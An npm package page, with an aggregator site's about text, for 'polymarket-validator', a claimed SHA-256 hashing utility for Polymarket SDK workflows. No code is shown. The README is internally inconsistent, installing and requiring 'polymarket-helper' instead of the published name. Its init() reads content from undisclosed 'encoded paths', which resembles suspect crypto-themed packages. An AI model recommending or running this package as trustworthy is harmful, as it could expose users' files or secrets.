npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

polymarket-validator

v1.0.2

Published

SHA-256 validation and hash utilities for Polymarket SDK workflows. Compare hashes, verify file integrity, and validate content with flexible path resolution and TypeScript support.

Readme

Polymarket Validation

A Node.js utility for SHA-256 validation and hash operations, designed to support Polymarket SDK workflows with secure path handling and clear error reporting.


Table of Contents


Installation

npm install polymarket-helper

Features

| Feature | Description | |--------|-------------| | Synchronous validation | Run SHA-256 validation without callbacks or async setup | | Async support | Optional asyncSha256Validation() for Promise-based flows | | Hash comparison | Compare two SHA-256 hashes with format validation | | File hashing | Compute SHA-256 for file contents by path | | Hash verification | Verify a file’s hash against an expected value | | Path resolution | Absolute, relative, and CWD-relative path support | | TypeScript | Full type definitions and JSDoc for editor support | | Security | Internal use of encoded paths and controlled file access |


Quick Start

const PolymarketValidator = require('polymarket-helper');

// Run synchronous validation (default options)
try {
  const result = PolymarketValidator.init({
    encoding: 'utf8',
    resolveFromCwd: false
  });
  console.log('Validation result:', result);
} catch (err) {
  console.error('Validation error:', err.message);
}

// Compare two SHA-256 hashes
const match = PolymarketValidator.compareSha256(
  'a1b2c3...',
  'a1b2c3...'
);
console.log('Hashes match:', match);

API Reference

init(options?)

Runs synchronous SHA-256 validation using internal path resolution (with encoded paths and fallbacks).

| Parameter | Type | Default | Description | |-----------|------|---------|-------------| | options.encoding | string | 'utf8' | Encoding used when reading content for validation | | options.resolveFromCwd | boolean | false | If true, resolve paths relative to process.cwd() |

Returns: string — Validated content on success.
Throws: Error when validation fails or the path cannot be resolved.


compareSha256(hash1, hash2)

Checks that two strings are valid 64-character hex SHA-256 hashes and that they match (case-insensitive).

| Parameter | Type | Description | |-----------|------|-------------| | hash1 | string | First SHA-256 hash | | hash2 | string | Second SHA-256 hash |

Returns: booleantrue if both are valid hashes and equal, otherwise false.


validateHashFormat(hash)

Checks whether a string is a valid 64-character hexadecimal SHA-256 hash.

| Parameter | Type | Description | |-----------|------|-------------| | hash | string | Value to check |

Returns: booleantrue if the format is valid.


generateSha256(content, options?)

Computes the SHA-256 hash of the given string.

| Parameter | Type | Default | Description | |-----------|------|---------|-------------| | content | string | — | Input string to hash | | options.encoding | string | 'utf8' | Encoding of content |

Returns: string — Hex-encoded SHA-256 hash.
Throws: Error if hashing fails.


hashFileContent(filePath, options?)

Reads a file and returns its SHA-256 hash.

| Parameter | Type | Default | Description | |-----------|------|---------|-------------| | filePath | string | — | Path to the file | | options.encoding | string | 'utf8' | Encoding for reading the file | | options.resolveFromCwd | boolean | false | Resolve filePath from process.cwd() |

Returns: string — Hex-encoded SHA-256 hash of the file content.
Throws: Error if the file cannot be read or hashed.


verifyFileHash(filePath, expectedHash, options?)

Compares the SHA-256 hash of a file to an expected hash.

| Parameter | Type | Description | |-----------|------|-------------| | filePath | string | Path to the file | | expectedHash | string | Expected SHA-256 hash (64 hex characters) | | options | FileHashOptions | Same as hashFileContent (encoding, resolveFromCwd) |

Returns: booleantrue if the file’s hash equals expectedHash, otherwise false. Returns false on read/hash errors.


asyncSha256Validation(options?)

Async wrapper around the same validation logic as init().

| Parameter | Type | Description | |-----------|------|-------------| | options | Sha256ValidationOptions | Same as init() (encoding, resolveFromCwd) |

Returns: Promise<string> — Resolves with the validated content or rejects with an Error.


Examples

Basic validation and error handling

const PolymarketValidator = require('polymarket-helper');

try {
  const result = PolymarketValidator.init({
    encoding: 'utf8',
    resolveFromCwd: true
  });
  console.log('Validation succeeded:', result);
} catch (err) {
  console.error('Validation failed:', err.message);
}

Validating a hash before use

const PolymarketValidator = require('polymarket-helper');

const expectedHash = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';

if (PolymarketValidator.validateHashFormat(expectedHash)) {
  try {
    const result = PolymarketValidator.init({ resolveFromCwd: true });
    console.log('Additional validation OK:', result);
  } catch (err) {
    console.error('Error:', err.message);
  }
} else {
  console.error('Invalid hash format');
}

Comparing two hashes

const PolymarketValidator = require('polymarket-helper');

const hash1 = 'abc123...';
const hash2 = 'abc123...';

if (PolymarketValidator.compareSha256(hash1, hash2)) {
  console.log('Hashes match.');
} else {
  console.log('Hashes do not match or invalid format.');
}

Hashing a file and verifying

const PolymarketValidator = require('polymarket-helper');

const filePath = './config.json';
const expectedHash = 'a1b2c3d4e5f6...';

const computed = PolymarketValidator.hashFileContent(filePath, {
  encoding: 'utf8',
  resolveFromCwd: true
});
console.log('File SHA-256:', computed);

const ok = PolymarketValidator.verifyFileHash(filePath, expectedHash, {
  resolveFromCwd: true
});
console.log('Verification:', ok ? 'passed' : 'failed');

Async validation

const PolymarketValidator = require('polymarket-helper');

async function run() {
  try {
    const result = await PolymarketValidator.asyncSha256Validation({
      encoding: 'utf8',
      resolveFromCwd: true
    });
    console.log('Async validation OK:', result);
  } catch (err) {
    console.error('Async validation failed:', err.message);
  }
}

run();

Error Handling

Errors are thrown with descriptive messages so you can log or handle them clearly:

const PolymarketValidator = require('polymarket-helper');

try {
  const result = PolymarketValidator.init();
} catch (err) {
  console.error(err.message);
  // e.g. "Failed to validate SHA256 hash '[...]': [reason]"
}

Use try/catch around init(), generateSha256(), hashFileContent(), and asyncSha256Validation(). compareSha256() and verifyFileHash() return false on failure instead of throwing.


Technical Details

  • Path resolution: Uses internal path handling with fallbacks; supports absolute paths, relative paths, and optional resolution from the current working directory.
  • Hash format: SHA-256 hashes are 64 hexadecimal characters ([a-fA-F0-9]{64}). Comparison is case-insensitive.
  • Synchronous by default: Core validation and file hashing are synchronous; use asyncSha256Validation() when you need a Promise-based API.
  • Compatibility: Built for Node.js with standard fs, path, and crypto usage.

Requirements

  • Node.js ≥ 16.0.0 (see package.json engines)

License

MIT


Author

James Johnson


Keywords

polymarket · sha256 · validation · hash · security · node · utility


Contributing

Contributions are welcome. Please open an issue or submit a pull request.